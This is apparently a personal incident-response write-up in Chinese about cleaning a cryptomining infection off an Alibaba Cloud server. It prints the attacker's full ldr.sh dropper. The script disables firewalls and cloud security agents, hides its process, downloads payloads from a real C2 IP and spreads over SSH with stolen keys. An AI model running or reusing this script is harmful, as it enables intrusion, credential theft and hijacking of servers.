一、收到警报
阿里云安全中心报警,访问恶意下载源,访问恶意IP,执行恶意脚本,遂上云服务器查看情况。阿里云报警详情记录为:
父进程路径:/usr/local/php7/sbin/php-fpm
父进程命令行:php-fpm: pool www
命令行参数:sh -c curl --user-agent _tp5 http://194.145.227.21/ldr.sh|sh
二、服务器情况
使用top命令查看,发现cpu被一个叫做[kthreaddi]的进程占据到超过100%。kthreaddi本身就存在于linux系统,作用是管理调度其他的内核线程,但是出问题的进程叫做[kthreaddi],多了两个方括号,是李鬼,网上搜索得知该进程可能在挖门罗币。
三、处理思路和步骤
- 通过阿里云“访问恶意IP”告警可知,进程路径是/tmp/.hmc06d8c/[kthreaddi] (deleted),访问了一个荷兰哈勒姆的IP,进tmp路径下查看没有对应文件,确实是启动后就删掉了
- 直接kill -9 [kthreaddi]的pid,过一会而又出现了,说明有定时任务在自启动该进程
- 查询所有用户的定时任务有两个命令
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done
cat /var/spool/cron/*
查询完发现www用户下有奇怪的定时任务,下载脚本然后执行,进入/var/spool/cron路径,编辑www文件,删掉该定时任务后再kill挖矿进程就不会重启
- linux在启动一个进程时,系统会在/proc下创建一个以PID命名的文件夹,在该文件夹下会有我们的进程的信息,其中包括一个名为exe的文件即记录了绝对路径,所以,使用命令
ll /proc/{pid}/exe
查询异常进程,发现绝对路径来自部署的web项目的js文件夹下的ckeditor路径下的一个随机命名的文件夹内,而且也是已经删除的
- 进入该web项目,对比js文件,发现跟之前部署的版本相比,多了很多没见过的js插件,而且都是可执行权限,因为我不是前端,不太懂发生了什么,只好把整个js文件夹删掉,重新替换一遍
- 删掉定时任务,杀掉挖矿进程,替换异常js后,cpu运行速度恢复正常,但是该项目在访问时出现bug,用浏览器控制台的网络功能排查访问时的状况,会访问项目内一个.exe文件,且访问不到,导致代码逻辑出问题,我觉得一般前端都不会直接访问exe文件,而且之前项目内并没有exe文件,但是我技术不够无法找出原因,最后把项目所有代码全删掉了整个重新部署了一遍,到目前为止服务器还正常
四、定时任务下载的恶意脚本内容如下
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
cc=http://194.145.227.21
sys=$(date|md5sum|awk -v n="$(date +%s)" '{print substr($1,1,n%7+6)}')
get() {
chattr -i $2; rm -rf $2; curl -k --user-agent arch_$(uname -m) $1 > $2 || wget --no-check-certificate --user-agent arch_$(uname -m) -q -O - $1 > $2; chmod +x $2
}
history -c
ufw disable
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
chattr -ia /etc/ld.so.preload
echo > /etc/ld.so.preload
chattr -ia /etc/hosts
sed -i '/f2pool.com\|nanopool.org\|minexmr.com\|supportxmr.com\|c3pool.com/d' /etc/hosts
grep 8.8.8.8 /etc/resolv.conf || echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
grep 8.8.4.4 /etc/resolv.conf || echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
mv /usr/bin/ps.original /usr/bin/ps
mv /usr/bin/top.original /usr/bin/top
if test -f /usr/bin/top_; then
echo ok
else
mv /usr/bin/top /usr/bin/top_
echo '#!/bin/sh
/usr/bin/top_ -p $(ps aux|grep -v "\[kthreaddi\]"|awk "{print \$2}"|grep -v PID|sort -R|head -n20|tr "\n" ","|sed s"/.$//")' > /usr/bin/top
chmod +x /usr/bin/top
fi
h=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /tmp /var/tmp /dev/shm /usr/bin $h /root /; do
echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break
done
crontab -l | sed '/\.bashgo\|pastebin\|onion\|bprofr/d' | crontab -
cat /proc/mounts | awk '{print $2}' | grep -P '/proc/\d+' | grep -Po '\d+' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -E "\./python|javae|zgrab|init\.sh|monero|xmrig|pnscan|zzh|\./crun|kdevtmpfsi|kinsing|masscan|sshpass|sshexec|xms|load\.sh|bashirc|dbused|cnrig|attack|/var/tmp/ip|scan\.log|dovecat|solr\.sh|solrd|donate-level|network0[0-1]|srv00[1-9]|srv01[0-2]" | awk '{print $2}' | xargs -I % kill -9 %
test -x "$(command -v crontab)" || {
if [ $(id -u) -eq 0 ]; then
apt-get update -y
apt-get -y install cron
service cron start
yum update -y
yum -y install crontabs
service crond start
fi
}
if [ $(id -u) -eq 0 ]; then
systemctl stop bot
apt-get -y install curl
yum -y install curl
if ps aux | grep -i "[a]liyun"; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i "[y]unjing"; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
fi
rm -rf /tmp/* /tmp/.*
netstat -anp | grep ':52018\|:52019' | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
ps -fe | grep kthreaddi | grep -v grep; if [ $? -ne 0 ]; then
PATH=".:$PATH"
get $cc/sys.$(uname -m) $sys; $(pwd)/$sys
fi
mv /sbin/iptables /sbin/iptables_
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
chmod +r $key; chmod 400 $key
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl --user-agent localssh $cc/ldr.sh || wget --user-agent localssh -q -O - $cc/ldr.sh) | sh"
done
done
done
#curl --user-agent shell_$(cat /etc/shadow|grep "\\$"|base64 -w0) $cc
test -x "$(command -v python)" && {
curl $cc/BrowserUpdate.exe>/tmp/BrowserUpdate.exe
curl $cc/a.py>/tmp/a.py
nohup python /tmp/a.py 1>/dev/null 2>&1 &
}